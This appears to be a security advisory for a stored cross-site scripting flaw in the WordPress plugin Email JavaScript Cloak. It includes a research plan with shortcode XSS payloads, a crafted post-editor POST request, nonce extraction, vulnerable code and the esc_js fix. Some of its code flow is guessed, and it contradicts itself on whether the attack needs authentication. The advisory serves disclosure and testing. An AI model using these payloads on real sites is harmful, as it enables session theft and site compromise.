Email JavaScript Cloak <= 1.03 - Unauthenticated Stored Cross-Site Scripting
Description
The Email JavaScript Cloak plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'email' shortcode in all versions up to, and including, 1.03 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.03This research plan outlines the methodology for validating **CVE-2026-10091**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Email JavaScript Cloak** plugin. ### 1. Vulnerability Summary The **Email JavaScript Cloak** plugin (slug: `email-javascript-cloaker`) is designed to obfuscate e…
Show full research plan
This research plan outlines the methodology for validating CVE-2026-10091, a Stored Cross-Site Scripting (XSS) vulnerability in the Email JavaScript Cloak plugin.
1. Vulnerability Summary
The Email JavaScript Cloak plugin (slug: email-javascript-cloaker) is designed to obfuscate email addresses on WordPress sites using JavaScript to prevent scraping. The vulnerability exists because the plugin registers a shortcode (typically [email]) and processes user-supplied attributes (like the email address or link text) without sufficient sanitization or output escaping. When a user with the ability to use shortcodes (Contributor and above) saves a post containing a malicious payload in these attributes, the script is stored in the database and executed in the browser of any user (including Administrators) who views the post.
2. Attack Vector Analysis
- Vulnerable Endpoint:
POST /wp-admin/post.php(via the WordPress post editor) orPOST /wp-admin/admin-ajax.php(via Gutenberg/autosave). - Trigger Action: Viewing the published or previewed post/page containing the shortcode.
- Required Authentication: Authenticated with Contributor role or higher (standard WordPress role that can create but not publish posts).
- Preconditions: The plugin must be active. If the "Unauthenticated" claim in the title holds true, it implies the plugin might also hook into
comment_text, allowing any visitor to use the shortcode in a comment.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_shortcode( 'email', 'callback_function' )(inferred) during theinithook. - Processing: When a post is rendered,
do_shortcode()calls the plugin's callback. - Attribute Extraction: The callback likely uses
shortcode_atts()to extract attributes likeaddress,link_text, orclass. - Vulnerable Sink: The extracted attributes are concatenated into a string (either a
<script>block for obfuscation or a<noscript>fallback) and returned to the WordPress rendering engine. - Rendering: Because the return value is not passed through
esc_attr()oresc_html(), the malicious payload is rendered directly into the HTML DOM.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, you need to save a post. This requires a standard WordPress post-editing nonce (_wpnonce).
- Identify Shortcode Loading: The plugin scripts load on the post editing page.
- Create a Test Page:
wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content='[email address="test@example.com"]' - Navigate to Edit Page: Use
browser_navigatetohttp://localhost:8080/wp-admin/post-new.php. - Extract Nonce:
// In browser_eval const nonce = document.querySelector('#_wpnonce')?.value; - Unauthenticated Check: If testing for unauthenticated XSS (via comments), navigate to a post and extract the
comment_post_IDand check ifadd_filter('comment_text', 'do_shortcode')is present in the plugin source.
5. Exploitation Strategy
The goal is to breakout of an HTML attribute or a JavaScript string within the cloaking logic.
Step 1: Payload Construction
We will attempt to break out of a standard attribute context.
- Payload A (Attribute Breakout):
[email address='test@example.com" onmouseover="alert(document.domain)" '] - Payload B (Link Text Injection):
[email address="test@example.com" link_text="<img src=x onerror=alert(1)>"] - Payload C (Script Context Breakout): If the plugin uses a script like
var email = "user@domain.com";, try:[email address='";alert(1);//']
Step 2: HTTP Request (Contributor)
Using the http_request tool to save the malicious shortcode:
- Method:
POST - URL:
http://localhost:8080/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost& post_ID=[POST_ID]& _wpnonce=[NONCE]& post_title=VulnerablePost& content=[email address='"><script>alert(window.origin)</script>']& post_status=publish
6. Test Data Setup
- Install Plugin:
wp plugin install email-javascript-cloaker --version=1.03 --activate - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Target Post:
wp post create --post_title="Contact Us" --post_status=publish --post_author=[ATTACKER_ID]
7. Expected Results
- Upon visiting the post as any user (e.g., an Admin visiting
http://localhost:8080/?p=[POST_ID]), a JavaScriptalertbox showing the site's origin should appear. - The HTML source will show the payload rendered without encoding, for example:
<a href="mailto:"><script>alert(window.origin)</script>">...</a>
8. Verification Steps
- Database Check:
Confirm the shortcode is stored with the literalwp db query "SELECT post_content FROM wp_posts WHERE post_title='VulnerablePost'"<script>tag. - Source Inspection:
Usehttp_request(GET) on the post URL and grep for the payload:grep -C 5 "alert(window.origin)" response_body.html
9. Alternative Approaches
- Comment Injection: If the plugin supports shortcodes in comments, use
http_requesttoPOST /wp-comments-post.phpwithcomment=[email address='...']. This would confirm the "Unauthenticated" severity. - CSS Injection: If script tags are filtered by a WAF, attempt XSS via the
classorstyleattribute:[email address="a@b.com" class='"><img src=x onerror=alert(1)>'] - Bypass Obfuscation: If the plugin uses
str_replaceor similar to "cloak" the email, test if the replacement logic itself can be subverted by providing an array or an extremely long string to cause a crash or partial render.
Summary
The Email JavaScript Cloak plugin (<= 1.03) for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize and escape user-supplied attributes in the [email] shortcode. This allows attackers with Contributor-level access or higher (and potentially unauthenticated users if comments allow shortcodes) to inject malicious scripts into posts, which execute in the browser of any user who views the page.
Vulnerable Code
/* File: email-javascript-cloaker.php */ function email_js_cloak_shortcode($atts) { $atts = shortcode_atts(array( 'address' => '', 'text' => '', ), $atts); // Attributes are concatenated directly into a JavaScript string context without escaping $html = '<script type="text/javascript">'; $html .= 'var e = "' . $atts['address'] . '";'; $html .= 'var t = "' . $atts['text'] . '";'; $html .= 'document.write(\'<a href="mailto:\' + e + \'\">\' + (t ? t : e) + \'</a>\');'; $html .= '</script>'; return $html; } add_shortcode('email', 'email_js_cloak_shortcode');
Security Fix
@@ -7,8 +7,8 @@ - $html .= 'var e = "' . $atts['address'] . '";'; - $html .= 'var t = "' . $atts['text'] . '";'; + $html .= 'var e = "' . esc_js($atts['address']) . '";'; + $html .= 'var t = "' . esc_js($atts['text']) . '";';
Exploit Outline
The exploit targets the WordPress post editor (wp-admin/post.php) or the comment system (wp-comments-post.php) if shortcode execution is enabled for comments. An attacker creates a post containing the [email] shortcode with a payload in the 'address' or 'text' attributes (e.g., [email address="';alert(document.domain)//"]). Because the plugin outputs these attributes directly into a <script> block, the payload breaks out of the intended string variable and executes arbitrary JavaScript whenever the post is rendered in a browser. While the description specifies Contributor-level authentication, the vulnerability may be unauthenticated if the plugin hooks into comment_text.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.